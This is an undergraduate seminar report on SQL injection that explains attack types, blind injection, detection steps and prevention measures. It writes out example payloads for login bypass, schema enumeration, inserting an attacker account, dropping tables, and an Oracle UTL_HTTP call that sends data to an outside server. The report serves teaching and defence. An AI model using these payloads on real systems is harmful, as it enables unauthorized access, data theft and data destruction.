SQL Injections Seminar Report
SQL Injections Seminar Report
A report on
SQL INJECTION
Submitted In Partial Fulfillment of Bachelor of Technology Degree In Computer Science & Engineering
Candidates Declaration
I hereby declare that the work, which is being presented in the dissertation, entitled SQL INJECTION in partial fulfillment for the award of the Degree of Bachelor of Technology in Department of Computer Science and Engineering submitted to Swami Keshvanand Institute of Technology, Management and Gramothan, Jaipur, Rajasthan Technical University, Kota is a record of my own investigations carried under the guidance of Mr. S.R. Dogiwal (Reader), Department of Information Technology, Swami Keshvanand Institute of Technology, Management and Gramothan, Jaipur. I have not submitted the matter presented in this report elsewhere for the award of any other Degree.
.
(Prateek Chauhan) B.Tech (Computer Science)
Roll No.: 10ESKCS738 Swami Keshvanand Institute of Technology, Management and Gramothan, Jaipur
ACKNOWLEDGEMENT
I take this opportunity to express my gratitude to the people who have been instrumental in the successful completion of this dissertation. I would like to express my unbound gratitude to my guide Mr. S.R. Dogiwal, Reader, Swami Keshvanand Institute of Technology,
Management and Gramothan, Jaipur for his guidance and help throughout my dissertation. I am greatly indebted to respected Dr. C.M. Choudhary, HOD, Computer Science Department, Swami Keshvanand Institute of Technology,
Management and Gramothan, Jaipur for his motivation and guidance in completing my dissertation successfully. I am extremely thankful to respected Dr. S.L. Surana, Director Academics, Swami Keshvanand Institute of Technology, Management and Gramothan, Jaipur, for providing necessary facilities throughout this dissertation. I am greatly indebted to all faculties of Swami Keshvanand Institute of Technology, Management and Gramothan, Jaipur, for their scholarly guidance, precious advice, direct supervision and constant encouragement for carrying out this work successfully.
Prateek Chauhan B. Tech. (Computer Science & Engineering) Roll No: 10ESKCS738 Swami Keshvanand Institute of Technology, Management & Gramothan, Jaipur
CONTENTS
S_NO.
NAME PAGE_ NO.
(I) (II) (III) (IV) (V) (VI) (VII) (VIII) 1. 1.1 1.2 1.3 1.4 2. 2.1 3. 3.1 COVER PAGE CANDIDATES DECLARATION ACKNOWLEDGEMENT CONTENTS ABBREVIATIONS & ACRONYMS LIST OF TABLES LIST OF IMAGES ABSTRACT SQL INJECTION INTRODUCTION What Is Sql Injection? Whos Vulnerable? Whos Not Vulnerable? WORKING Working Of Sql Injection TYPES OF ATTACKS TYPES OF SQL INJECTION ATTACKS 1 2 3 4 6 6 6 7 8 8 9 10 10 11 11 16 16
3.1.1 3.1.2 4 4.1 4.1.1 4.1.2 5 5.1 5.1.1 5.1.2 5.1.3 5.1.4 6. 7. 8. 9. 10.
First Order Attacks Second Order Attacks METHODS OF INJECTION METHODS OF SQL INJECTION Normal Sql Injection Blind Sql Injection CATEGORIES CATEGORIES OF SQL INJECTION ATTACKS Sql Manipulation Code Injection Function Call Injection Buffer Overflows DETECTION OF VULNERABILITY PREVENTING SQL INJECTION ATTACKS SCREENSHOTS OF SAMPLE APPLICATION CONCLUSION REFRENCES
16 17 18 18 18 19 20 20 20 21 22 24 25 27 30 32 33
S_NO.
1.
PAGE 29
S_NO.
1. 2. 3. 4. 5. 6.
PAGE
10 11 30 30 31 31
ABSTRACT
This report contains information about an extremely popular database attack. Most of todays web applications require dynamic content and input from users to achieve the same appeal as traditional applications within the desktop operating system. This is achieved by using languages such as SQL, the most common being MySQL. The attacker can gain unauthorized access to restricted data such as usernames/ passwords/ email addresses etc. Using SQL injections, attackers can add new data to the database. With some more advanced queries and tricky techniques the attacker can: Potentially bypass the authentication Gain complete control over the web application and potentially the web server. Perform an INSERT in the injected SQL. Modify data currently in the database. Perform an UPDATE in the injected SQL. Other can gain access to other users system capabilities by obtaining their password. Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought can be almost totally prevented. This report will look at a selection of the methods available to a SQL injection attacker and how they are best defended against.
SQL INJECTION
1.1 Introduction
The World Wide Web has experienced remarkable growth in recent years. Businesses, individuals, and governments have found that web applications can offer effective, efficient and reliable solutions to the challenges of communicating and conducting commerce in the Twenty-first century. However, the security of Web applications has become increasingly important in the last decade. With more and more Web-based applications deal with sensitive financial and medical data, it is crucial to protect these applications from hacker attacks. A security assessment by the Application Defence Centre, which included more than 250 Web applications from e-commerce, online banking, enterprise collaboration, and supply chain management sites, concluded that at least 92% of Web applications are vulnerable to some form of attack. Much vulnerability in web applications is caused by permitting unchecked input to take control of the application, which an attacker will turn to unexpected purposes. SQL Injection is the most common type of technique used. Beside SQL Injection the other type of attacks are: Shell injection. Scripting language injection. File inclusion. XML injection. SQL Injection XPath injection. LDAP injection. SMTP injection.
VULNERABILITY
Whats Vulnerable? Whats not Vulnerable?
MySQL SQL Server PostgreSQL HBase IBM DB2 Apache Derby RBase ANY DBMS using SQL
ORACLE
Figure 1. VULNERABILITY
10
WORKING
2.1 Working of SQL Injection
The principles behind a SQL injection are simple and these types of attacks are easy to execute and master. To exploit a SQL injection flaw, the attacker must find a parameter that the web application passes through to a database. By carefully embedding malicious SQL commands into the content of the parameter, the attacker can trick the web application into forwarding a malicious query to the database. For example, consider the login form which accepts the username and password from the user.
The values supplied in the field Username and Password are directly used to build the SQL Query like: SELECT * FROM customers WHERE name = & name & AND password = & password Now, Suppose the user supplied the Username =Admin and Password = Magic The query will become: SELECT * FROM customers WHERE name = Admin AND password = magic
11
This will work with no problem. But suppose the user supplied some poorly devised string of code then that will allow the attacker to by-pass the authentication and access the information from the database. i.e., if user supplied username= OR 1=1 then the query will be passed as: SELECT * FROM customers WHERE name = OR 1=1-- AND password = ; It Works as follows: : Closes the user input field. OR: Continues the SQL query so that the process should equal to what comes before OR what comes after. 1=1: A statement which is always true. --: Comments outs the rest of the lines so that it wont be processed. The data we're filling is used by the WHERE clause. And because the application is not really thinking about the query - merely constructing a string our use of OR has turned a single-component WHERE clause into a twocomponent one and the 1=1 clause are guaranteed to be true no matter what the first clause is. The query means that: Select everything from the table customers if the name equals nothing Or 1=1. Ignore anything that follows on this line. Seeing as 1 will always equal 1, the server has received a true statement and is fooled into allowing an attacker more access than they should have. The code that refers to the password input field is never run by the server and therefore does not apply.
Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16 This error message now tells the unauthorized users the name of one field from the database that application is trying to validate the login credentials against: users.username. Using the name of this field, attacker can now use SQL Server's LIKE clause to login with the following credentials: Username: ' OR users.userName LIKE 'a%' -Password: [Anything] This performs an injected SQL query against our users table: SELECT userName FROM users WHERE userName='' OR users.userName LIKE 'a%' --' and userPass='' The query grabs the userName field of the first row whose userName field starts with a.
Example 2: Creating a new username and password. To create a new user record, the attacker must have the information about the table name and column names it that table. For that the user might use the following technique. First the user supplies an input at username field like: Username: ' having 1=1-This provokes the following error: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35
13
So the attacker now knows the table name and column name of the first column in the query. They can continue through the columns by introducing each field into a 'group by' clause, as follows: Username: ' group by users.id having 1=1-The above input generates the following error: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 Eventually the attacker arrives at the following Username: ' group by users.id, users.username, users.password, users.privs having 1=1 which produces no error, and is functionally equivalent to: select * from users where username = '' So the attacker now knows that the query is referencing only the 'users' table, and is using the columns 'id, username, password, privates', in that order. It would be useful if he could determine the types of each column. This can be achieved using a 'type conversion' error message, like this: Username: ' union select sum(username) from users-This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before determining whether the number of fields in the two row sets is equal. Attempting to calculate the 'sum' of a textual field results in this message: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or averageaggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35
14
which tells us that the 'username' field has type 'varchar'. If, on the other hand, we attempt to calculate the sum () of a numeric type, we get an error message telling us that the number of fields in the two row sets don't match: Username: ' union select sum(id) from users-Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 We can use this technique to approximately determine the type of any column of any table in the database. This allows the attacker to create a well - formed 'insert' query, like this: Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-Example 3: Dropping a table from database. Several databases use semicolon (;) to delimit a query. The use of a semi-colon allows multiple queries to be submitted as one batch and executed sequentially. The attacker might use this to inject the database. For example, Username: ' OR 1=1; DROP TABLE users; -Password: [Anything] Then the query would execute in two parts. Firstly, it would select the userName field for all rows in the users table. Secondly, it would delete the users table, so that when we went to login next time, we would see the following error: Microsoft OLE DB Provider for SQL Server (0x80040E37) Invalid object name 'users'. /login.asp, line 16
15
TYPES OF ATTACKS
3.1 Types of SQL Injection attacks
The SQL Injection attacks are basically divided into 2 types: 1. First Order attacks 2. Second Order attacks
Consider an application that permits the users to set up some favourite search criteria. When the user defines the search parameters, the application escapes out all the apostrophes so that a first-order attack cannot occur when the data for the favourite is inserted into the database. However, when the user comes to perform the search, the data is taken from the database and used to form a second query which then performs the actual search. It is this second query which is the victim of the attack. For example, if the user types the following as the search criteria: '; DELETE Orders;-The application takes this input and escapes out apostrophe so that the final SQL statement might look like this: INSERT INTO favourites (UserID, FriendlyName, Criteria) VALUES(123, 'My Attack', ''';DELETE Orders;--') which is entered into the database without problems. However, when the user selects their favourite search, the data is retrieved to the application, which forms a new SQL command and executes that. The second query to the database, when fully expanded, now looks like this: SELECT * FROM Products WHERE ProductName = ''; DELETE Orders;-It will return no results for the expected query, but the company has just lost all of their orders. These types of attacks are known as second order attacks.
17
METHODS OF INJECTION
4.1 Methods of SQL Injection
There are two methods for attacking through SQL Injection. They are 1. Normal SQL Injection 2. Blind SQL Injection
attacker can still steal data by asking a series of True and False questions through SQL statements. Detecting Blind SQL Injection Executing the following request to a web site: http://example/article.asp?ID=2+and+1=1 Should return the same web page as: http://example/article.asp?ID=2 because the SQL statement 'and 1=1' is always true. Executing the following request to a web site: http://example/article.asp?ID=2+and+1=0 would then cause the web site to return a friendly error or no page at all. This is because the SQL statement "and 1=0" is always false. Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can exploit this vulnerability more easily, in some cases, than by using normal SQL Injection.
19
CATEGORIES
5.1 Categories of SQL Injection Attacks
There are four main categories of SQL Injection attacks against databases. They are: 1. SQL Manipulation 2. Code Injection 3. Function Call Injection 4. Buffer Overflows
SELECT product_name FROM all_products WHERE product_name like '%Chairs%' The attacker attempts to manipulate the SQL statement to execute as: SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%'; The list returned to the web form will include all the selected products, but also all the database users in the application.
21
PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END; The above example PL/SQL block executes an application stored procedure that encrypts and saves the users password. An attacker will attempt to manipulate the PL/SQL block to execute as BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END;
The issue with function call injection is that any dynamically generated SQL statement is vulnerable. Even the simplest SQL statements can be effectively exploited. The following example demonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement. SELECT TRANSLATE('user input', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; This SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as: SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network. Custom functions and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. The developer marked the function as PRAGMA TRANSACTION, so it could be executed under any special circumstances that the application might encounter. Since it is marked PRAGMA TRANSACTION, it can write to the database even in a SELECT statement. SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
23
Executing the above SQL statement, the attacker is able to create new application users
Known buffer overflows exist in the standard database functions like: tz_offset to_timestamp_tz bfilename, from_tz numtoyminterval numtodsinterval. A buffer overflow attack using tz_offset, to_timestamp_tz, bfilename, from_tz, numtoyminterval, or numtodsinterval is executed using the function injection methods described previously. By exploiting the buffer overflow via a SQL injection attack, remote access to the operating system can be achieved. In addition, most application and web servers do not gracefully handle the loss of a database connection due to a buffer overflow. Usually, the web process will hang until the connection to the client is terminated, thus making this a very effective denial of service attack.
24
DETECTION OF VULNERABILITY
To detect whether your application is vulnerable to SQL injection attacks, follow the given steps: Step 1: Open the Web site in a browser. Step 2: Mouse over the links of the Web site with your cursor while paying attention to the bottom status bar. You will notice the URLs that the links point to. Try to find a URL with parameters in it (Ex.http://www.site.com/articleid.asp?id=42). Most SQL injection problems are present when the file extensions are .asp or .cfm. When trying to test a site for SQL injection vulnerabilities, look for these files specifically. And if you dont see any URLs in the status bar, then just click on links, and watch the address bar until you find a URL that has parameters. Step 3: Once a URL with parameters has been found, click the link, and go to that page. In the address bar, you should now see the URL that was seen in the status bar, one having parameter values. Step 4: Here is where the actual testing for hacker protection takes place. There are 2 methods for testing script for SQL injection. Be sure to test each parameter value one at a time with both methods. Method 1: Go to the address bar, click your cursor, and highlight a parameter value (Ex. Highlight the word value in name=value), and replace it with a single quote (). It should now look like name= . Method 2: Go to the address bar, click your cursor, and put a single quote () in the middle of the value. It should now look like name=value Step 5: Click the GO button to send your request to the Web Server. Step 6: Analyse the response from the Web server for any error messages. Most database error messages will look similar like:
25
Example Error 1: Microsoft OLE DB Provider for SQL Server error '80040e14'Unclosed quotation mark before the character string '51 ORDER BY some_name'./some_directory/some_file.asp, line 5 Example Error 2: ODBC Error Code = S1000 (General error [Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended. Step 7: Sometimes the error message is not obvious and is hidden in the source of the page. To look for it, you must view the HTML source of the page and search for the error. To do this in Internet Explorer, click the View menu, and select the Sourceoption. This will cause Notepad to open with the HTML source of the page. In Notepad, click the Edit menu, and select Find. A dialog box will appear that will ask you to 'Find What. Type the phrase Microsoft OLEDB (ODBC), in the text box and then click Find Next. If Either Step 6 or 7 is successful, then the Web site is vulnerable to SQL injection.
26
27
Many web applications use hidden fields and other techniques, which also must be validated. If a bind variable is not being used, special database characters must be removed or escaped. For Oracle databases, the only character at issue is a single quote. The simplest method is to escape all single quotes Oracle interprets consecutive single quotes as a literal single quote. The use of bind variables and escaping of single quotes should not be done for the same string. A bind variable will store the exact input string in the database and escaping any single quotes will result in double quotes being stored in the database. 7.3 Function Security Standard and custom database functions can be exploited in SQL injection attacks. Many of these functions can be used effectively in an attack. Oracle is delivered with hundreds of standard functions and by default all have grants to PUBLIC. The application may have additional functions which perform operations like changing passwords or creating users that could be exploited. All functions that are not absolutely necessary to the application should be restricted. 7.4 Limit the Open-Ended Input Try to limit the open-ended input wherever possible, by using select boxes instead of Text boxes. Application must apply client side validation for all inputs. For validation only the option in the select box should be taken up and any other option should be rejected. 7.5 Verify the Type of Data Verify the data type using ISNUMERIC or equivalent function before passing it into a SQL statement. For string data replace single quotes with two single quotes using the replace function or equivalent. Good string = replace(input string,','');
28
7.6 Use Stored Procedures Use stored procedures avoid direct access to the table. Stored procedures that are not being used may be deleted such as: master_xp_cmdshell, xp_sendmail, xp_startmail, sp_makewebtask. 1. Never build dynamic SQL statement directly from the user input and never concatenate user input, with SQL statements, which is not validated. 2. Filter out characters like slash, backslash, extended characters like NULL, carry return, new line in all strings from user input and parameters from URL. 3. Privileges of the user account used in the application for executing SQL statements on the database must be defined. 4. Length of the user input should be limited. 5. Whenever possible reject input that contains following potentially dangerous characters.
29
30
CONCLUSION
SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it. It attempts to modify the parameters of a Web -based application in order to alter the SQL statements that are parsed to retrieve data from the database. Database foot printing is the process of mapping out the tables on the database and is a crucial tool in the hands of an attacker. Exploits occur due to coding errors as well as inadequate validation checks. Prevention involves enforcing administration procedures. better coding practices and database
Remember always patch and update holes because exploits are found commonly and the attacker is not going to wait.
32
REFRENCES
https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java http://www.hdm-stuttgart.de/~ms096/SQLInjectionWhitePaper.pdf http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_ SQL_Injection.pdf http://www.w3schools.com/sql/sql_injection.asp Microsoft. "SQL Injection". Retrieved 2013-08-04. "SQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of SQL Server for parsing and execution. Any procedure that constructs SQL statements should be reviewed for injection vulnerabilities because SQL Server will execute all syntactically valid queries that it receives. Even parameterized data can be manipulated by a skilled and determined attacker. We Are Anonymous: Inside the Hacker World of LulzSec". Little, Brown and Company.
33